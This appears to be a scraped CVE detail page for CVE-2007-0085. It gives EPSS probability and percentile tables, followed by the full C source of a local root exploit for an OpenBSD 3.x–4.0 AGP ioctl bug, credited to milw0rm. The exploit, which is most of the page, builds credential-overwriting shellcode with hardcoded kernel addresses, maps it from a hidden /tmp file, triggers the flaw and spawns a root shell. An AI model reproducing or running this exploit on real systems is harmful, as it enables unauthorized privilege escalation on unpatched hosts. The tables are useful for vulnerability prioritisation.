CVE-2007-0085 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-09	–	–	–	0.04%	–
2024-10-27	–	–	–	0.04%	–
2024-12-15	–	–	–	0.04%	–
2024-12-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.21%
2025-03-30	–	–	–	–	0.21%
2025-04-15	–	–	–	–	0.21%
2025-04-15	–	–	–	–	0.21,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	8%
2024-02-11	7%
2024-02-25	8%
2024-04-14	9%
2024-06-02	9%
2024-06-09	1%
2024-10-27	11%
2024-12-15	12%
2024-12-22	11%
2025-01-19	12%
2025-01-19	12%
2025-03-18	41%
2025-03-30	4%
2025-04-15	43%
2025-04-15	43%

/* Critical Security OpenBSD 3.x-4.0 vga_ioctl() root exploit Bug had been discovered by allmighty Ilja van Sprundel (ilja.netric.org) Some code had been stolen from noir's openbsd exploit sources Fix is available: ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/i386/007_agp.patch Critical Security [http://www.critical.lt], Lithuania, Vilnius, 2007 Linkejimai neegzistuojancio fronto kariams ;] */ #include <sys/param.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/agpio.h> #include <unistd.h> #include <err.h> #include <fcntl.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/sysctl.h> #define TARGET1 "\x51\x47\x48\xd0" /* 0xd0484751 obsd 4.0 generic i386*/ #define TARGET2 "\xa9\x42\x10\xd0" /* 0xd01042a9 obsd 3.9 generic i386*/ char shellcode[]= "\x18\x00\x00\x00" "\x18\x00\x00\x00" "\x18\x00\x00\x00" /* some crap */ "\x18\x00\x00\x00" "\x18\x00\x00\x00" "\x18\x00\x00\x00" /* jmp 0x00000018 */ "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad" "\xde\xad\xde\xef\xbe\x90\x90\x90\x5f\x8b\x0f\x8b" /* p_cred & u_cred shellcode */ "\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89\x42\x04" "\xb8\x51\x47\x48\xd0" "\xff\xe0"; void usage() { printf("Usage: crit_obsd_ex target\n\n"); printf("valid targets:\n"); printf("(1)\tobsd 4.0 generic i386\n"); printf("(2)\tobsd 3.9 generic i386\n\n"); exit(0); } void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); printf("this is an unexpected error, rerun!\n"); exit(-1); } } int main(int ac, char *av[]) { int i; void *p; int fd,failas; u_long pprocadr; struct kinfo_proc kp; printf("\n+--------------------------------------------+\n"); printf("| Critical Security local obsd root |\n"); printf("+--------------------------------------------+\n\n"); if (ac<2) usage(); if(atoi(av[1])==1) { for(i=0;i<4;i++)shellcode[61+i]=TARGET1[i]; } else if(atoi(av[1])==2) { for(i=0;i<4;i++)shellcode[61+i]=TARGET2[i]; } else {usage();} get_proc((pid_t) getpid(), &kp); pprocadr = (u_long) kp.kp_eproc.e_paddr; shellcode[24+5] = pprocadr & 0xff; shellcode[24+6] = (pprocadr >> 8) & 0xff; shellcode[24+7] = (pprocadr >> 16) & 0xff; shellcode[24+8] = (pprocadr >> 24) & 0xff; printf("[~] shellcode size: %d\n",sizeof(shellcode)); fd=open("/tmp/. ", O_RDWR|O_CREAT, S_IRUSR|S_IWUSR); if(fd < 0) err(1, "open"); write(fd, shellcode, sizeof(shellcode)); if((lseek(fd, 0L, SEEK_SET)) < 0) err(1, "lseek"); p=mmap(0, sizeof(shellcode), PROT_READ|PROT_EXEC, MAP_FIXED, fd, 0); if (p == MAP_FAILED) err(1, "mmap"); printf("[~] map addr: 0x%x\n",p); printf("[~] exploiting...\n"); failas = open(AGP_DEVICE, O_RDWR); syscall(SYS_ioctl, failas, 0x80044103, NULL); close(failas); close(fd); seteuid(0); setuid(0); printf("[~] uid: %d euid: %d gid: %d \n", getuid(), geteuid(),getgid()); execl("/bin/sh", "cyber", NULL); } // milw0rm.com [2007-01-07]